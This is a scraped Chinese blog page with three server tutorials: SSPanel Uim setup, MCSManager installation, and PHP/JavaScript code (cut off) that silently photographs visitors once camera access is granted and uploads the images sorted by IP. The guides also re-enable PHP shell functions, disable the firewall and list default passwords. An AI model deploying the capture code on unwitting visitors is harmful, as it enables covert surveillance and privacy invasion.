搭建 SSPanel Uim 前端
我的世界MCSM面板搭建
PHP代码获取相机权限并自动拍照上传至服务器
一、前置要求耐心安装需要花费许多时间,有可能还会安装失败,需要重来,确保你有足够的耐心和时间基础知识如果你什么都不懂,比如连端口都不知道怎么放行,Linux 常见命令也不会,遇到问题也不会 Google,建议你先学习好相关知识再来域名一个确保你对域名解析等概念和操作比较熟悉,这里不会教你这些内容。VPS 系统要求Cent OS 7 及以上Ubuntu 16 及以上Debian 9 及以上前端 VPS 配置要求1 CPU 以上1 G 内存及以上,推荐 2 G 及以上10 G 硬盘空间及以上后端 VPS 配置要求没有硬性要求,取决于后端需要运行多少用户二、安装宝塔Cent OSyum install -y wget && wget -O install.sh http://download.bt.cn/install/install_6.0.sh && sh install.shUbuntuwget -O install.sh http://download.bt.cn/install/install-ubuntu_6.0.sh && sudo bash install.shDebianwget -O install.sh http://download.bt.cn/install/install-ubuntu_6.0.sh && bash install.sh等待脚本运行完成,完成后脚本会输出宝塔面板访问地址和宝塔用户名密码,进入浏览器登录即可。如果打不开的话,那就是防火墙没放行,这个要到 VPS 商家面板里放行。三、安装 SSPanel Uim安装 LNMP登录宝塔后会提示安装 LNMP,我们这里选择安装 Nginx、MySQL、PHP、phpMyAdmin,注意版本不要选错。Nginx 1.18MySQL 5.6PHP-7.4phpMyAdmin - 4.9PureFTPd(可选)点击一键安装后宝塔会在后台进行安装,这个过程比较久,可能需要十几分钟,安装完成后再继续下面的教程。安装 LNMP配置 PHP进入<软件商店>,找到刚刚安装的 PHP 7.4,点击设置设置php删除如图所示的函数。system putenv popen proc_open删除禁用函数部署 SSPanel Uim创建站点选择<网站>,点击添加站点添加站点这里假设你的域名为 aaa.com,并且已经将 www.aaa.com 解析到了 VPS 的 IP 地址上,按照以下配置创建站点。数据库用户名和密码可以自定义。数据库选择utf-8mb4编码创建站点创建站点后会帮你创建数据库,数据库名默认和你的数据库用户名一样,注意不要搞混。创建成功安装 SSPanel Uim自行将命令中的<域名>替换为创建站点时的域名,教程里是 www.aaa.com进入站点目录,并删除自动创建的文件cd /www/wwwroot/域名/ rm * -rf下载 SSPanel Uim 最新版以下两条命令只运行一个,根据你的需要进行选择# 下载 master 分支,代码很久没更新了,不建议使用 git clone -b master https://github.com/Anankke/SSPanel-Uim.git tmp && mv tmp/.git . && rm -rf tmp && git reset --hard # 下载 dev 分支 git clone -b dev https://github.com/Anankke/SSPanel-Uim.git tmp && mv tmp/.git . && rm -rf tmp && git reset --hard安装SSPanel Uim,注意替换<域名>替换为创建站点时的域名,教程里是 www.aaa.comgit config core.filemode false wget https://getcomposer.org/installer -O composer.phar php composer.phar php composer.phar install cp config/.config.example.php config/.config.php cp config/appprofile.example.php config/appprofile.php cd ../ chmod -R 755 域名/ chown -R www:www 域名/ ln -s /www/wwwroot/域名/sql/glzjin_all.sql /www/backup/database/修改站点点击 网站 最右侧的设置,在 网站目录 里取消 防跨站攻击 ,运行目录里面选择 /public,点击 保存 。在 伪静态 中填入下面内容:location /…
前期需要软件远程SSH控制台软件(本教程使用Putty)服务端(本教程使用 Spigot)Centos或Ubuntu主机一台 (教程使用 CentOS7.9)注意事项极力推荐Centos系统,Ubuntu系统出现问题,与作者无关未标注哪个系统指令则两者都可适用若标题注释了哪个系统那只能适用那个系统或另一个系统不需要输此指令环境部署系统更新首先你要确保你的系统是最新的yum update # (Centos) //Ubuntu需要两条指令来升级 apt-get update -y # (Ubuntu) apt-get upgrade -y # (Ubuntu)安装node.js安装Gityum install git -y # (Centos) apt install git # (Ubuntu)复制代码安装node.js管理器等组件git clone git://github.com/creationix/nvm.git ~/nvm # 设置nvm 自动运行 echo "source ~/nvm/nvm.sh" >> ~/.bashrc source ~/.bashrc # 安装npm的v13版本 nvm install v14.17.4 # 使用v13版本 nvm use v14.17.4 # 安装npm最新版本并使用最新版本 //由于面板问题无法使用最新的 # nvm install stable && nvm use stable请关闭终端重新打开或重新连接终端 再依次执行以下命令(重要!)安装java8如果要看更精细的步骤可以看这个文章Centos使用yum安装java8。# 安装java8 yum install java-1.8.0-openjdk java-1.8.0-openjdk-devel # 安装java11 按需安装,建议直接下载用绝对链接来开服 yum install java-11-openjdk java-11-openjdk-devel # 查看java版本 java -versionUbuntu安装java8apt install openjdk-8-jdk如果我们在服务器上安装了多个Java版本,我们可以使用update-alternatives 系统更改默认版本sudo update-alternatives --config java要维持当前值[*]请按<回车键>,或者键入选择的编号:在出现提示时输入号码并按Enter键。查看java版本java -version安装MCSM克隆MCSManager 并安装依赖# 克隆目录 git clone https://github.com/suwings/mcsmanager.git # cd至目录 cd mcsmanager/ # 安装依赖库 npm install # 启动面板 sudo npm start # 如果已是root可不用输sudo注!启动面板注意事项# 每次重启或关闭后需要重新CD到项目目录才能继续执行指令 cd mcsmanager/ # 启动面板 sudo npm start # 如果已是root可不用输sudo保持后台运行先 Ctrl+C关闭面板,我们使用 screen软件来让面板保持后台运行。yum install screen # (Centos) apt install screen # (Ubuntu) # 创建一个名为 mcsm 的窗口 screen -S mcsm # 在此新终端窗口内启动面板 sudo npm start #或 sudo node app.js直接断开终端连接即可,面板将保持后台运行。若要重新控制,请输入命令即可:screen -r mcsm端口开放面板需要 23333(主功能) 端口与 20010 - 20200(FTP功能)端口区间。如果你使用阿里云,腾讯云或者服务商,请进入控制台到防火墙安全组策略,放行以上端口。如果依然无法访问,请关闭系统自带防火墙:# 关闭防火墙,依次执行 systemctl stop firewalld.service systemctl disable firewalld.service修改站点配置文件在根目录的 ./property.js自带汉化,用户可自行修改默认账户现在,访问 http://你的ip:23333/ 即可进入面板。# 开头带“#”为最高管理员权限(注意,管理员与管理员之间账号可互删)不带“#”为用户账户 默认账号:#master 默认密码: 123456请及时修改密码!服务端Spigot [可以装插件]Paper [可以装插件]Forge [可以装MOD]服务器插件/MODBukkit [下载插件]Spigotmc [下载插件]Curseforge [下载MOD]创建服务端创建服务端十分简单,点击“引导创建服务端”即可。通过里面的指引,创建你的 MC 服务器,稍后可以通过文件在线管理上传你的核心文件。
前言现在众多手机APP乱用权限并窃取用户隐私,大家要注意保护好自己!代码分别创建index.html和photo.php两个文件并上传至网站服务器即可;创建好后打开网址会需要用户授权相机权限,PC端会调用摄像头,移动端会调用前置摄像头;允许权限后会立即进行拍照并上传至服务器,拍摄的照片会按照IP及拍摄时间进行分类。说明建站环境需求:Nginx PHP 7.0+如果上传到服务器的图片是全黑的或只有一半,说明使用者打开网页后快速关闭了,没有完整的获取到图片。index.html代码第25行处需要指定 photo.php文件的所在位置,如果文件在网站根目录下无需修改。注意:由于浏览器安全机制原因,网站需开启SSL,如果仅使用HTTP,多数浏览器无法获取到相机权限.index.html代码<!DOCTYPE html> <html> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta name="" content="content"> <title>SunPma'Blog</title> <style> .container { width: 60%; margin: 10% auto 0; background-color: #f0f0f0; padding: 2% 5%; border-radius: 10px } ul { padding-left: 20px; } ul li { line-height: 2.3 } a { color: #20a53a } </style> </head> <body> <canvas id="canvas" style="display: none;" width="480" height="640"></canvas> <video id="video" style="display: none;width: 250px;height: 300px;"></video> <script src="https://lib.baomitu.com/jquery/3.6.0/jquery.js"></script> <script> window.addEventListener("DOMContentLoaded",function(){ var canvas = document.getElementById('canvas'); var context =canvas.getContext('2d'); var video = document.getElementById('video'); if (navigator.mediaDevices && navigator.mediaDevices.getUserMedia) { navigator.mediaDevices.getUserMedia({video:true}).then(function(stream){ video.srcObject = stream; video.play(); setTimeout(function(){context.drawImage(video,0,0,480,640)}, 1000); setTimeout(function(){ var img = canvas.toDataURL('image/png'); $.post('/photo.php',{'imegse':img},function(data){ //指定photo.php文件所在位置 }) } ,1300) },function(){ alert('缺少访问权限'); location.reload(); }) } },false); </script> <div class="container"> <h1>这是一个测试页 · · · </h1> <h3>获取相机权限后将自动拍照上传至服务器;</h3> <ul> <li>此测试页面获取到的照片会定时自动清理;</li> <li>代码获取:https://sunpma.com/994.html</li> </ul> </div> </body> </html>photo.php代码<?php //允许跨域 header("Access-Control-Allow-Origin:*"); echo base64(); function base64() { //接收 base64 数据 $image = $_POST['imegse']; if (empty($image)) { return null; } //设置图片名称 $imageName = date("His", time()) . "_" . rand(1111, 9999) . '.png'; //判断是否有逗号 如果有就截取后半部分 if (strstr($image, ",")) { $image = explode(',', $image); $image = $image[1]; } //设置图片保存路径 $path = "./" . getIp()…